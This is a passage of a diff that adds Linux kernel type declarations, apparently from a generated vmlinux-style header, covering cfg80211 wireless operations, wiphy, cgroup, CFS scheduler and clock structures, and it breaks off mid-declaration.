(*crit_proto_start)(struct wiphy *, struct wireless_dev *, enum nl80211_crit_proto_id, u16); + void (*crit_proto_stop)(struct wiphy *, struct wireless_dev *); + int (*set_coalesce)(struct wiphy *, struct cfg80211_coalesce *); + int (*channel_switch)(struct wiphy *, struct net_device *, struct cfg80211_csa_settings *); + int (*set_qos_map)(struct wiphy *, struct net_device *, struct cfg80211_qos_map *); + int (*set_ap_chanwidth)(struct wiphy *, struct net_device *, unsigned int, struct cfg80211_chan_def *); + int (*add_tx_ts)(struct wiphy *, struct net_device *, u8, const u8 *, u8, u16); + int (*del_tx_ts)(struct wiphy *, struct net_device *, u8, const u8 *); + int (*tdls_channel_switch)(struct wiphy *, struct net_device *, const u8 *, u8, struct cfg80211_chan_def *); + void (*tdls_cancel_channel_switch)(struct wiphy *, struct net_device *, const u8 *); + int (*start_nan)(struct wiphy *, struct wireless_dev *, struct cfg80211_nan_conf *); + void (*stop_nan)(struct wiphy *, struct wireless_dev *); + int (*add_nan_func)(struct wiphy *, struct wireless_dev *, struct cfg80211_nan_func *); + void (*del_nan_func)(struct wiphy *, struct wireless_dev *, u64); + int (*nan_change_conf)(struct wiphy *, struct wireless_dev *, struct cfg80211_nan_conf *, u32); + int (*set_multicast_to_unicast)(struct wiphy *, struct net_device *, const bool); + int (*get_txq_stats)(struct wiphy *, struct wireless_dev *, struct cfg80211_txq_stats *); + int (*set_pmk)(struct wiphy *, struct net_device *, const struct cfg80211_pmk_conf *); + int (*del_pmk)(struct wiphy *, struct net_device *, const u8 *); + int (*external_auth)(struct wiphy *, struct net_device *, struct cfg80211_external_auth_params *); + int (*tx_control_port)(struct wiphy *, struct net_device *, const u8 *, size_t, const u8 *, const __be16, const bool, int, u64 *); + int (*get_ftm_responder_stats)(struct wiphy *, struct net_device *, struct cfg80211_ftm_responder_stats *); + int (*start_pmsr)(struct wiphy *, struct wireless_dev *, struct cfg80211_pmsr_request *); + void (*abort_pmsr)(struct wiphy *, struct wireless_dev *, struct cfg80211_pmsr_request *); + int (*update_owe_info)(struct wiphy *, struct net_device *, struct cfg80211_update_owe_info *); + int (*probe_mesh_link)(struct wiphy *, struct net_device *, const u8 *, size_t); + int (*set_tid_config)(struct wiphy *, struct net_device *, struct cfg80211_tid_config *); + int (*reset_tid_config)(struct wiphy *, struct net_device *, const u8 *, u8); + int (*set_sar_specs)(struct wiphy *, struct cfg80211_sar_specs *); + int (*color_change)(struct wiphy *, struct net_device *, struct cfg80211_color_change_settings *); + int (*set_fils_aad)(struct wiphy *, struct net_device *, struct cfg80211_fils_aad *); + int (*set_radar_background)(struct wiphy *, struct cfg80211_chan_def *); + int (*add_link_station)(struct wiphy *, struct net_device *, struct link_station_parameters *); + int (*mod_link_station)(struct wiphy *, struct net_device *, struct link_station_parameters *); + int (*del_link_station)(struct wiphy *, struct net_device *, struct link_station_del_parameters *); + int (*set_hw_timestamp)(struct wiphy *, struct net_device *, struct cfg80211_set_hw_timestamp *); + int (*set_ttlm)(struct wiphy *, struct net_device *, struct cfg80211_ttlm_params *); + u32 (*get_radio_mask)(struct wiphy *, struct net_device *); +}; + +struct cfg80211_per_bw_puncturing_values { + u8 len; + const u16 *valid_values; +}; + +struct cfg80211_pkt_pattern { + const u8 *mask; + const u8 *pattern; + int pattern_len; + int pkt_offset; +}; + +struct cfg80211_pmk_conf { + const u8 *aa; + u8 pmk_len; + const u8 *pmk; + const u8 *pmk_r0_name; +}; + +struct cfg80211_pmksa { + const u8 *bssid; + const u8 *pmkid; + const u8 *pmk; + size_t pmk_len; + const u8 *ssid; + size_t ssid_len; + const u8 *cache_id; + u32 pmk_lifetime; + u8 pmk_reauth_threshold; +}; + +struct cfg80211_pmsr_capabilities { + unsigned int max_peers; + u8 report_ap_tsf: 1; + u8 randomize_mac_addr: 1; + struct { + u32 preambles; + u32 bandwidths; + s8 max_bursts_exponent; + u8 max_ftms_per_burst; + u8 supported: 1; + u8 asap: 1; + u8 non_asap: 1; + u8 request_lci: 1; + u8 request_civicloc: 1; + u8 trigger_based: 1; + u8 non_trigger_based: 1; + } ftm; +}; + +struct cfg80211_pmsr_ftm_request_peer { + enum nl80211_preamble preamble; + u16 burst_period; + u8 requested: 1; + u8 asap: 1; + u8 request_lci: 1; + u8 request_civicloc: 1; + u8 trigger_based: 1; + u8 non_trigger_based: 1; + u8 lmr_feedback: 1; + u8 num_bursts_exp; + u8 burst_duration; + u8 ftms_per_burst; + u8 ftmr_retries; + u8 bss_color; +}; + +struct rate_info { + u16 flags; + u16 legacy; + u8 mcs; + u8 nss; + u8 bw; + u8 he_gi; + u8 he_dcm; + u8 he_ru_alloc; + u8 n_bonded_ch; + u8 eht_gi; + u8 eht_ru_alloc; +}; + +struct cfg80211_pmsr_ftm_result { + const u8 *lci; + const u8 *civicloc; + unsigned int lci_len; + unsigned int civicloc_len; + enum nl80211_peer_measurement_ftm_failure_reasons failure_reason; + u32 num_ftmr_attempts; + u32 num_ftmr_successes; + s16 burst_index; + u8 busy_retry_time; + u8 num_bursts_exp; + u8 burst_duration; + u8 ftms_per_burst; + s32 rssi_avg; + s32 rssi_spread; + struct rate_info tx_rate; + struct rate_info rx_rate; + s64 rtt_avg; + s64 rtt_variance; + s64 rtt_spread; + s64 dist_avg; + s64 dist_variance; + s64 dist_spread; + u16 num_ftmr_attempts_valid: 1; + u16 num_ftmr_successes_valid: 1; + u16 rssi_avg_valid: 1; + u16 rssi_spread_valid: 1; + u16 tx_rate_valid: 1; + u16 rx_rate_valid: 1; + u16 rtt_avg_valid: 1; + u16 rtt_variance_valid: 1; + u16 rtt_spread_valid: 1; + u16 dist_avg_valid: 1; + u16 dist_variance_valid: 1; + u16 dist_spread_valid: 1; +}; + +struct cfg80211_pmsr_request_peer { + u8 addr[6]; + struct cfg80211_chan_def chandef; + u8 report_ap_tsf: 1; + struct cfg80211_pmsr_ftm_request_peer ftm; +}; + +struct cfg80211_pmsr_request { + u64 cookie; + void *drv_data; + u32 n_peers; + u32 nl_portid; + u32 timeout; + u8 mac_addr[6]; + u8 mac_addr_mask[6]; + struct list_head list; + struct cfg80211_pmsr_request_peer peers[0]; +}; + +struct cfg80211_pmsr_result { + u64 host_time; + u64 ap_tsf; + enum nl80211_peer_measurement_status status; + u8 addr[6]; + u8 final: 1; + u8 ap_tsf_valid: 1; + enum nl80211_peer_measurement_type type; + union { + struct cfg80211_pmsr_ftm_result ftm; + }; +}; + +struct cfg80211_qos_map { + u8 num_des; + struct cfg80211_dscp_exception dscp_exception[21]; + struct cfg80211_dscp_range up[8]; +}; + +struct rfkill; + +struct rfkill_ops { + void (*poll)(struct rfkill *, void *); + void (*query)(struct rfkill *, void *); + int (*set_block)(void *, bool); +}; + +struct wiphy_work; + +typedef void (*wiphy_work_func_t)(struct wiphy *, struct wiphy_work *); + +struct wiphy_work { + struct list_head entry; + wiphy_work_func_t func; +}; + +struct ieee80211_txrx_stypes; + +struct ieee80211_iface_combination; + +struct wiphy_iftype_akm_suites; + +struct wiphy_wowlan_support; + +struct wiphy_iftype_ext_capab; + +struct ieee80211_supported_band; + +struct regulatory_request; + +struct ieee80211_regdomain; + +struct wiphy_coalesce_support; + +struct wiphy_vendor_command; + +struct nl80211_vendor_cmd_info; + +struct cfg80211_sar_capa; + +struct wiphy_radio; + +struct wiphy { + struct mutex mtx; + u8 perm_addr[6]; + u8 addr_mask[6]; + struct mac_address *addresses; + const struct ieee80211_txrx_stypes *mgmt_stypes; + const struct ieee80211_iface_combination *iface_combinations; + int n_iface_combinations; + u16 software_iftypes; + u16 n_addresses; + u16 interface_modes; + u16 max_acl_mac_addrs; + u32 flags; + u32 regulatory_flags; + u32 features; + u8 ext_features[9]; + u32 ap_sme_capa; + enum cfg80211_signal_type signal_type; + int bss_priv_size; + u8 max_scan_ssids; + u8 max_sched_scan_reqs; + u8 max_sched_scan_ssids; + u8 max_match_sets; + u16 max_scan_ie_len; + u16 max_sched_scan_ie_len; + u32 max_sched_scan_plans; + u32 max_sched_scan_plan_interval; + u32 max_sched_scan_plan_iterations; + int n_cipher_suites; + const u32 *cipher_suites; + int n_akm_suites; + const u32 *akm_suites; + const struct wiphy_iftype_akm_suites *iftype_akm_suites; + unsigned int num_iftype_akm_suites; + u8 retry_short; + u8 retry_long; + u32 frag_threshold; + u32 rts_threshold; + u8 coverage_class; + char fw_version[32]; + u32 hw_version; + const struct wiphy_wowlan_support *wowlan; + struct cfg80211_wowlan *wowlan_config; + u16 max_remain_on_channel_duration; + u8 max_num_pmkids; + u32 available_antennas_tx; + u32 available_antennas_rx; + u32 probe_resp_offload; + const u8 *extended_capabilities; + const u8 *extended_capabilities_mask; + u8 extended_capabilities_len; + const struct wiphy_iftype_ext_capab *iftype_ext_capab; + unsigned int num_iftype_ext_capab; + const void *privid; + struct ieee80211_supported_band *bands[6]; + void (*reg_notifier)(struct wiphy *, struct regulatory_request *); + const struct ieee80211_regdomain __attribute__((btf_type_tag("rcu"))) *regd; + struct device dev; + bool registered; + struct dentry *debugfsdir; + const struct ieee80211_ht_cap *ht_capa_mod_mask; + const struct ieee80211_vht_cap *vht_capa_mod_mask; + struct list_head wdev_list; + possible_net_t _net; + const struct wiphy_coalesce_support *coalesce; + const struct wiphy_vendor_command *vendor_commands; + const struct nl80211_vendor_cmd_info *vendor_events; + int n_vendor_commands; + int n_vendor_events; + u16 max_ap_assoc_sta; + u8 max_num_csa_counters; + u32 bss_select_support; + u8 nan_supported_bands; + u32 txq_limit; + u32 txq_memory_limit; + u32 txq_quantum; + unsigned long tx_queue_len; + u8 support_mbssid: 1; + u8 support_only_he_mbssid: 1; + const struct cfg80211_pmsr_capabilities *pmsr_capa; + struct { + u64 peer; + u64 vif; + u8 max_retry; + } tid_config_support; + u8 max_data_retry_count; + const struct cfg80211_sar_capa *sar_capa; + struct rfkill *rfkill; + u8 mbssid_max_interfaces; + u8 ema_max_profile_periodicity; + u16 max_num_akm_suites; + u16 hw_timestamp_max_peers; + int n_radio; + const struct wiphy_radio *radio; + long: 64; + long: 64; + char priv[0]; +}; + +struct genl_info; + +struct cfg80211_registered_device { + const struct cfg80211_ops *ops; + struct list_head list; + struct rfkill_ops rfkill_ops; + struct work_struct rfkill_block; + char country_ie_alpha2[2]; + const struct ieee80211_regdomain *requested_regd; + enum environment_cap env; + int wiphy_idx; + int devlist_generation; + int wdev_id; + int opencount; + wait_queue_head_t dev_wait; + struct list_head beacon_registrations; + spinlock_t beacon_registrations_lock; + int num_running_ifaces; + int num_running_monitor_ifaces; + u64 cookie_counter; + spinlock_t bss_lock; + struct list_head bss_list; + struct rb_root bss_tree; + u32 bss_generation; + u32 bss_entries; + struct cfg80211_scan_request *scan_req; + struct cfg80211_scan_request *int_scan_req; + struct sk_buff *scan_msg; + struct list_head sched_scan_req_list; + time64_t suspend_at; + struct wiphy_work scan_done_wk; + struct genl_info *cur_cmd_info; + struct work_struct conn_work; + struct work_struct event_work; + struct delayed_work dfs_update_channels_wk; + struct wireless_dev *background_radar_wdev; + struct cfg80211_chan_def background_radar_chandef; + struct delayed_work background_cac_done_wk; + struct work_struct background_cac_abort_wk; + u32 crit_proto_nlportid; + struct cfg80211_coalesce *coalesce; + struct work_struct destroy_work; + struct wiphy_work sched_scan_stop_wk; + struct work_struct sched_scan_res_wk; + struct cfg80211_chan_def radar_chandef; + struct work_struct propagate_radar_detect_wk; + struct cfg80211_chan_def cac_done_chandef; + struct work_struct propagate_cac_done_wk; + struct work_struct mgmt_registrations_update_wk; + spinlock_t mgmt_registrations_lock; + struct work_struct wiphy_work; + struct list_head wiphy_work_list; + spinlock_t wiphy_work_lock; + bool suspended; + struct wiphy wiphy; +}; + +struct cfg80211_rnr_elems { + u8 cnt; + struct { + const u8 *data; + size_t len; + } elem[0]; +}; + +struct cfg80211_rx_assoc_resp_data { + const u8 *buf; + size_t len; + const u8 *req_ies; + size_t req_ies_len; + int uapsd_queues; + const u8 *ap_mld_addr; + struct { + u8 addr[6]; + struct cfg80211_bss *bss; + u16 status; + } links[15]; +}; + +struct cfg80211_rx_info { + int freq; + int sig_dbm; + bool have_link_id; + u8 link_id; + const u8 *buf; + size_t len; + u32 flags; + u64 rx_tstamp; + u64 ack_tstamp; +}; + +struct cfg80211_sar_freq_ranges; + +struct cfg80211_sar_capa { + enum nl80211_sar_type type; + u32 num_freq_ranges; + const struct cfg80211_sar_freq_ranges *freq_ranges; +}; + +struct cfg80211_sar_freq_ranges { + u32 start_freq; + u32 end_freq; +}; + +struct cfg80211_sar_sub_specs { + s32 power; + u32 freq_range_index; +}; + +struct cfg80211_sar_specs { + enum nl80211_sar_type type; + u32 num_sub_specs; + struct cfg80211_sar_sub_specs sub_specs[0]; +}; + +struct cfg80211_scan_6ghz_params { + u32 short_ssid; + u32 channel_idx; + u8 bssid[6]; + bool unsolicited_probe; + bool short_ssid_valid; + bool psc_no_listen; + s8 psd_20; +}; + +struct cfg80211_scan_info { + u64 scan_start_tsf; + u8 tsf_bssid[6]; + bool aborted; +}; + +struct cfg80211_scan_request { + struct cfg80211_ssid *ssids; + int n_ssids; + u32 n_channels; + const u8 *ie; + size_t ie_len; + u16 duration; + bool duration_mandatory; + u32 flags; + u32 rates[6]; + struct wireless_dev *wdev; + u8 mac_addr[6]; + u8 mac_addr_mask[6]; + u8 bssid[6]; + struct wiphy *wiphy; + unsigned long scan_start; + struct cfg80211_scan_info info; + bool notified; + bool no_cck; + bool scan_6ghz; + u32 n_6ghz_params; + struct cfg80211_scan_6ghz_params *scan_6ghz_params; + s8 tsf_report_link_id; + struct ieee80211_channel *channels[0]; +}; + +struct cfg80211_sched_scan_plan { + u32 interval; + u32 iterations; +}; + +struct cfg80211_sched_scan_request { + u64 reqid; + struct cfg80211_ssid *ssids; + int n_ssids; + u32 n_channels; + const u8 *ie; + size_t ie_len; + u32 flags; + struct cfg80211_match_set *match_sets; + int n_match_sets; + s32 min_rssi_thold; + u32 delay; + struct cfg80211_sched_scan_plan *scan_plans; + int n_scan_plans; + u8 mac_addr[6]; + u8 mac_addr_mask[6]; + bool relative_rssi_set; + s8 relative_rssi; + struct cfg80211_bss_select_adjust rssi_adjust; + struct wiphy *wiphy; + struct net_device *dev; + unsigned long scan_start; + bool report_results; + struct callback_head callback_head; + u32 owner_nlportid; + bool nl_owner_dead; + struct list_head list; + struct ieee80211_channel *channels[0]; +}; + +struct cfg80211_set_hw_timestamp { + const u8 *macaddr; + bool enable; +}; + +struct cfg80211_tid_cfg { + bool config_override; + u8 tids; + u64 mask; + enum nl80211_tid_config noack; + u8 retry_long; + u8 retry_short; + enum nl80211_tid_config ampdu; + enum nl80211_tid_config rtscts; + enum nl80211_tid_config amsdu; + enum nl80211_tx_rate_setting txrate_type; + struct cfg80211_bitrate_mask txrate_mask; +}; + +struct cfg80211_tid_config { + const u8 *peer; + u32 n_tid_conf; + struct cfg80211_tid_cfg tid_conf[0]; +}; + +struct cfg80211_txq_stats { + u32 filled; + u32 backlog_bytes; + u32 backlog_packets; + u32 flows; + u32 drops; + u32 ecn_marks; + u32 overlimit; + u32 overmemory; + u32 collisions; + u32 tx_bytes; + u32 tx_packets; + u32 max_flows; +}; + +struct cfg80211_tid_stats { + u32 filled; + u64 rx_msdu; + u64 tx_msdu; + u64 tx_msdu_retries; + u64 tx_msdu_failed; + struct cfg80211_txq_stats txq_stats; +}; + +struct cfg80211_ttlm_params { + u16 dlink[8]; + u16 ulink[8]; +}; + +struct cfg80211_tx_status { + u64 cookie; + u64 tx_tstamp; + u64 ack_tstamp; + const u8 *buf; + size_t len; + bool ack; +}; + +struct cfg80211_update_ft_ies_params { + u16 md; + const u8 *ie; + size_t ie_len; +}; + +struct cfg80211_update_owe_info { + u8 peer[6]; + u16 status; + const u8 *ie; + size_t ie_len; + int assoc_link_id; + u8 peer_mld_addr[6]; +}; + +struct cfg80211_wowlan_tcp; + +struct cfg80211_wowlan { + bool any; + bool disconnect; + bool magic_pkt; + bool gtk_rekey_failure; + bool eap_identity_req; + bool four_way_handshake; + bool rfkill_release; + struct cfg80211_pkt_pattern *patterns; + struct cfg80211_wowlan_tcp *tcp; + int n_patterns; + struct cfg80211_sched_scan_request *nd_config; +}; + +struct cfg80211_wowlan_nd_match; + +struct cfg80211_wowlan_nd_info { + int n_matches; + struct cfg80211_wowlan_nd_match *matches[0]; +}; + +struct cfg80211_wowlan_nd_match { + struct cfg80211_ssid ssid; + int n_channels; + u32 channels[0]; +}; + +struct nl80211_wowlan_tcp_data_seq { + __u32 start; + __u32 offset; + __u32 len; +}; + +struct nl80211_wowlan_tcp_data_token { + __u32 offset; + __u32 len; + __u8 token_stream[0]; +}; + +struct cfg80211_wowlan_tcp { + struct socket *sock; + __be32 src; + __be32 dst; + u16 src_port; + u16 dst_port; + u8 dst_mac[6]; + int payload_len; + const u8 *payload; + struct nl80211_wowlan_tcp_data_seq payload_seq; + u32 data_interval; + u32 wake_len; + const u8 *wake_data; + const u8 *wake_mask; + u32 tokens_size; + struct nl80211_wowlan_tcp_data_token payload_tok; +}; + +struct cfg80211_wowlan_wakeup { + bool disconnect; + bool magic_pkt; + bool gtk_rekey_failure; + bool eap_identity_req; + bool four_way_handshake; + bool rfkill_release; + bool packet_80211; + bool tcp_match; + bool tcp_connlost; + bool tcp_nomoretokens; + bool unprot_deauth_disassoc; + s32 pattern_idx; + u32 packet_present_len; + u32 packet_len; + const void *packet; + struct cfg80211_wowlan_nd_info *net_detect; +}; + +struct cfg_mumimo_para { + u8 sounding_sts[6]; + u16 grouping_bitmap; + u8 mu_tx_en; + u32 given_gid_tab[2]; + u32 given_user_pos[4]; +}; + +struct cfs_bandwidth { + raw_spinlock_t lock; + ktime_t period; + u64 quota; + u64 runtime; + u64 burst; + u64 runtime_snap; + s64 hierarchical_quota; + u8 idle; + u8 period_active; + u8 slack_started; + struct hrtimer period_timer; + struct hrtimer slack_timer; + struct list_head throttled_cfs_rq; + int nr_periods; + int nr_throttled; + int nr_burst; + u64 throttled_time; + u64 burst_time; +}; + +struct load_weight { + unsigned long weight; + u32 inv_weight; +}; + +struct sched_avg { + u64 last_update_time; + u64 load_sum; + u64 runnable_sum; + u32 util_sum; + u32 period_contrib; + unsigned long load_avg; + unsigned long runnable_avg; + unsigned long util_avg; + unsigned int util_est; +}; + +struct sched_entity; + +struct task_group; + +struct cfs_rq { + struct load_weight load; + unsigned int nr_running; + unsigned int h_nr_running; + unsigned int idle_nr_running; + unsigned int idle_h_nr_running; + s64 avg_vruntime; + u64 avg_load; + u64 min_vruntime; + unsigned int forceidle_seq; + u64 min_vruntime_fi; + struct rb_root_cached tasks_timeline; + struct sched_entity *curr; + struct sched_entity *next; + long: 64; + long: 64; + long: 64; + struct sched_avg avg; + struct { + raw_spinlock_t lock; + int nr; + unsigned long load_avg; + unsigned long util_avg; + unsigned long runnable_avg; + long: 64; + long: 64; + long: 64; + long: 64; + } removed; + u64 last_update_tg_load_avg; + unsigned long tg_load_avg_contrib; + long propagate; + long prop_runnable_sum; + unsigned long h_load; + u64 last_h_load_update; + struct sched_entity *h_load_next; + struct rq *rq; + int on_list; + struct list_head leaf_cfs_rq_list; + struct task_group *tg; + int idle; + int runtime_enabled; + s64 runtime_remaining; + u64 throttled_pelt_idle; + u64 throttled_clock; + u64 throttled_clock_pelt; + u64 throttled_clock_pelt_time; + u64 throttled_clock_self; + u64 throttled_clock_self_time; + int throttled; + int throttle_count; + struct list_head throttled_list; + struct list_head throttled_csd_list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct cfs_schedulable_data { + struct task_group *tg; + u64 period; + u64 quota; +}; + +struct kernfs_ops; + +struct kernfs_open_file; + +struct cftype { + char name[64]; + unsigned long private; + size_t max_write_len; + unsigned int flags; + unsigned int file_offset; + struct cgroup_subsys *ss; + struct list_head node; + struct kernfs_ops *kf_ops; + int (*open)(struct kernfs_open_file *); + void (*release)(struct kernfs_open_file *); + u64 (*read_u64)(struct cgroup_subsys_state *, struct cftype *); + s64 (*read_s64)(struct cgroup_subsys_state *, struct cftype *); + int (*seq_show)(struct seq_file *, void *); + void * (*seq_start)(struct seq_file *, loff_t *); + void * (*seq_next)(struct seq_file *, void *, loff_t *); + void (*seq_stop)(struct seq_file *, void *); + int (*write_u64)(struct cgroup_subsys_state *, struct cftype *, u64); + int (*write_s64)(struct cgroup_subsys_state *, struct cftype *, s64); + ssize_t (*write)(struct kernfs_open_file *, char *, size_t, loff_t); + __poll_t (*poll)(struct kernfs_open_file *, struct poll_table_struct *); + struct lock_class_key lockdep_key; +}; + +struct cgroup_file { + struct kernfs_node *kn; + unsigned long notified_at; + struct timer_list notify_timer; +}; + +struct task_cputime { + u64 stime; + u64 utime; + unsigned long long sum_exec_runtime; +}; + +struct cgroup_base_stat { + struct task_cputime cputime; + u64 forceidle_sum; +}; + +struct prev_cputime { + u64 utime; + u64 stime; + raw_spinlock_t lock; +}; + +struct cgroup_bpf { + struct bpf_prog_array __attribute__((btf_type_tag("rcu"))) *effective[28]; + struct hlist_head progs[28]; + u8 flags[28]; + struct list_head storages; + struct bpf_prog_array *inactive; + struct percpu_ref refcnt; + struct work_struct release_work; +}; + +struct cgroup_freezer_state { + bool freeze; + int e_freeze; + int nr_frozen_descendants; + int nr_frozen_tasks; +}; + +struct cgroup_root; + +struct cgroup_rstat_cpu; + +struct psi_group; + +struct cgroup { + struct cgroup_subsys_state self; + unsigned long flags; + int level; + int max_depth; + int nr_descendants; + int nr_dying_descendants; + int max_descendants; + int nr_populated_csets; + int nr_populated_domain_children; + int nr_populated_threaded_children; + int nr_threaded_children; + struct kernfs_node *kn; + struct cgroup_file procs_file; + struct cgroup_file events_file; + struct cgroup_file psi_files[3]; + u16 subtree_control; + u16 subtree_ss_mask; + u16 old_subtree_control; + u16 old_subtree_ss_mask; + struct cgroup_subsys_state __attribute__((btf_type_tag("rcu"))) *subsys[14]; + int nr_dying_subsys[14]; + struct cgroup_root *root; + struct list_head cset_links; + struct list_head e_csets[14]; + struct cgroup *dom_cgrp; + struct cgroup *old_dom_cgrp; + struct cgroup_rstat_cpu __attribute__((btf_type_tag("percpu"))) *rstat_cpu; + struct list_head rstat_css_list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad_; + struct cgroup *rstat_flush_next; + struct cgroup_base_stat last_bstat; + struct cgroup_base_stat bstat; + struct prev_cputime prev_cputime; + struct list_head pidlists; + struct mutex pidlist_mutex; + wait_queue_head_t offline_waitq; + struct work_struct release_agent_work; + struct psi_group *psi; + struct cgroup_bpf bpf; + struct cgroup_freezer_state freezer; + struct bpf_local_storage __attribute__((btf_type_tag("rcu"))) *bpf_cgrp_storage; + struct cgroup *ancestors[0]; +}; + +struct cgroup__safe_rcu { + struct kernfs_node *kn; +}; + +struct cgroup_cls_state { + struct cgroup_subsys_state css; + u32 classid; +}; + +struct css_set; + +struct css_task_iter { + struct cgroup_subsys *ss; + unsigned int flags; + struct list_head *cset_pos; + struct list_head *cset_head; + struct list_head *tcset_pos; + struct list_head *tcset_head; + struct list_head *task_pos; + struct list_head *cur_tasks_head; + struct css_set *cur_cset; + struct css_set *cur_dcset; + struct task_struct *cur_task; + struct list_head iters_node; +}; + +struct cgroup_of_peak { + unsigned long value; + struct list_head list; +}; + +struct cgroup_namespace; + +struct cgroup_pidlist; + +struct cgroup_file_ctx { + struct cgroup_namespace *ns; + struct { + void *trigger; + } psi; + struct { + bool started; + struct css_task_iter iter; + } procs; + struct { + struct cgroup_pidlist *pidlist; + } procs1; + struct cgroup_of_peak peak; +}; + +struct kernfs_root; + +struct kernfs_fs_context { + struct kernfs_root *root; + void *ns_tag; + unsigned long magic; + bool new_sb_created; +}; + +struct cgroup_fs_context { + struct kernfs_fs_context kfc; + struct cgroup_root *root; + struct cgroup_namespace *ns; + unsigned int flags; + bool cpuset_clone_children; + bool none; + bool all_ss; + u16 subsys_mask; + char *name; + char *release_agent; +}; + +struct cgroup_iter_priv { + struct cgroup_subsys_state *start_css; + bool visited_all; + bool terminate; + int order; +}; + +struct cgroup_taskset { + struct list_head src_csets; + struct list_head dst_csets; + int nr_tasks; + int ssid; + struct list_head *csets; + struct css_set *cur_cset; + struct task_struct *cur_task; +}; + +struct cgroup_mgctx { + struct list_head preloaded_src_csets; + struct list_head preloaded_dst_csets; + struct cgroup_taskset tset; + u16 ss_mask; +}; + +struct proc_ns_operations; + +struct ns_common { + struct dentry *stashed; + const struct proc_ns_operations *ops; + unsigned int inum; + refcount_t count; +}; + +struct ucounts; + +struct cgroup_namespace { + struct ns_common ns; + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct css_set *root_cset; +}; + +struct cgroup_pidlist { + struct { + enum cgroup_filetype type; + struct pid_namespace *ns; + } key; + pid_t *list; + int length; + struct list_head links; + struct cgroup *owner; + struct delayed_work destroy_dwork; +}; + +struct cgroup_root { + struct kernfs_root *kf_root; + unsigned int subsys_mask; + int hierarchy_id; + struct list_head root_list; + struct callback_head rcu; + long: 64; + long: 64; + struct cgroup cgrp; + struct cgroup *cgrp_ancestor_storage; + atomic_t nr_cgrps; + unsigned int flags; + char release_agent_path[4096]; + char name[64]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct cgroup_rstat_cpu { + struct u64_stats_sync bsync; + struct cgroup_base_stat bstat; + struct cgroup_base_stat last_bstat; + struct cgroup_base_stat subtree_bstat; + struct cgroup_base_stat last_subtree_bstat; + struct cgroup *updated_children; + struct cgroup *updated_next; +}; + +struct idr { + struct xarray idr_rt; + unsigned int idr_base; + unsigned int idr_next; +}; + +struct cgroup_subsys { + struct cgroup_subsys_state * (*css_alloc)(struct cgroup_subsys_state *); + int (*css_online)(struct cgroup_subsys_state *); + void (*css_offline)(struct cgroup_subsys_state *); + void (*css_released)(struct cgroup_subsys_state *); + void (*css_free)(struct cgroup_subsys_state *); + void (*css_reset)(struct cgroup_subsys_state *); + void (*css_rstat_flush)(struct cgroup_subsys_state *, int); + int (*css_extra_stat_show)(struct seq_file *, struct cgroup_subsys_state *); + int (*css_local_stat_show)(struct seq_file *, struct cgroup_subsys_state *); + int (*can_attach)(struct cgroup_taskset *); + void (*cancel_attach)(struct cgroup_taskset *); + void (*attach)(struct cgroup_taskset *); + void (*post_attach)(void); + int (*can_fork)(struct task_struct *, struct css_set *); + void (*cancel_fork)(struct task_struct *, struct css_set *); + void (*fork)(struct task_struct *); + void (*exit)(struct task_struct *); + void (*release)(struct task_struct *); + void (*bind)(struct cgroup_subsys_state *); + bool early_init: 1; + bool implicit_on_dfl: 1; + bool threaded: 1; + int id; + const char *name; + const char *legacy_name; + struct cgroup_root *root; + struct idr css_idr; + struct list_head cfts; + struct cftype *dfl_cftypes; + struct cftype *legacy_cftypes; + unsigned int depends_on; +}; + +struct cgroupstats { + __u64 nr_sleeping; + __u64 nr_running; + __u64 nr_stopped; + __u64 nr_uninterruptible; + __u64 nr_io_wait; +}; + +struct cgrp_cset_link { + struct cgroup *cgrp; + struct css_set *cset; + struct list_head cset_link; + struct list_head cgrp_link; +}; + +struct linked_page; + +struct chain_allocator { + struct linked_page *chain; + unsigned int used_space; + gfp_t gfp_mask; + int safe_needed; +}; + +struct e820_entry; + +struct change_member { + struct e820_entry *entry; + unsigned long long addr; +}; + +struct channel_info { + unsigned int flags; + short max_power; + short default_power1; + short default_power2; + short default_power3; +}; + +struct ethnl_reply_data { + struct net_device *dev; +}; + +struct ethtool_channels { + __u32 cmd; + __u32 max_rx; + __u32 max_tx; + __u32 max_other; + __u32 max_combined; + __u32 rx_count; + __u32 tx_count; + __u32 other_count; + __u32 combined_count; +}; + +struct channels_reply_data { + struct ethnl_reply_data base; + struct ethtool_channels channels; +}; + +struct char_device_struct { + struct char_device_struct *next; + unsigned int major; + unsigned int baseminor; + int minorct; + char name[64]; + struct cdev *cdev; +}; + +struct check_mount { + struct vfsmount *mnt; + unsigned int mounted; +}; + +struct iolatency_grp; + +struct child_latency_info { + spinlock_t lock; + u64 last_scale_event; + u64 scale_lat; + u64 nr_samples; + struct iolatency_grp *scale_grp; + atomic_t scale_cookie; +}; + +struct chipset { + u32 vendor; + u32 device; + u32 class; + u32 class_mask; + u32 flags; + void (*f)(int, int, int); +}; + +struct chksum_ctx { + u32 key; +}; + +struct chksum_desc_ctx { + u32 crc; +}; + +struct cipher_context { + char iv[20]; + char rec_seq[8]; +}; + +struct lock_list; + +struct circular_queue { + struct lock_list *element[4096]; + unsigned int front; + unsigned int rear; +}; + +struct class_attribute { + struct attribute attr; + ssize_t (*show)(const struct class *, const struct class_attribute *, char *); + ssize_t (*store)(const struct class *, const struct class_attribute *, const char *, size_t); +}; + +struct class_attribute_string { + struct class_attribute attr; + char *str; +}; + +struct class_compat { + struct kobject *kobj; +}; + +struct klist_iter { + struct klist *i_klist; + struct klist_node *i_cur; +}; + +struct subsys_private; + +struct class_dev_iter { + struct klist_iter ki; + const struct device_type *type; + struct subsys_private *sp; +}; + +struct class_dir { + struct kobject kobj; + const struct class *class; +}; + +struct class_info { + int class; + char *class_name; +}; + +struct class_interface { + struct list_head node; + const struct class *class; + int (*add_dev)(struct device *); + void (*remove_dev)(struct device *); +}; + +struct clear_refs_private { + enum clear_refs_types type; +}; + +struct clk_core; + +struct clk { + struct clk_core *core; + struct device *dev; + const char *dev_id; + const char *con_id; + unsigned long min_rate; + unsigned long max_rate; + unsigned int exclusive_count; + struct hlist_node clks_node; +}; + +struct clk_bulk_data { + const char *id; + struct clk *clk; +}; + +struct clk_bulk_devres { + struct clk_bulk_data *clks; + int num_clks; +}; + +struct clk_init_data; + +struct clk_hw { + struct clk_core *core; + struct clk *clk; + const struct clk_init_data *init; +}; + +struct clk_rate_request; + +struct 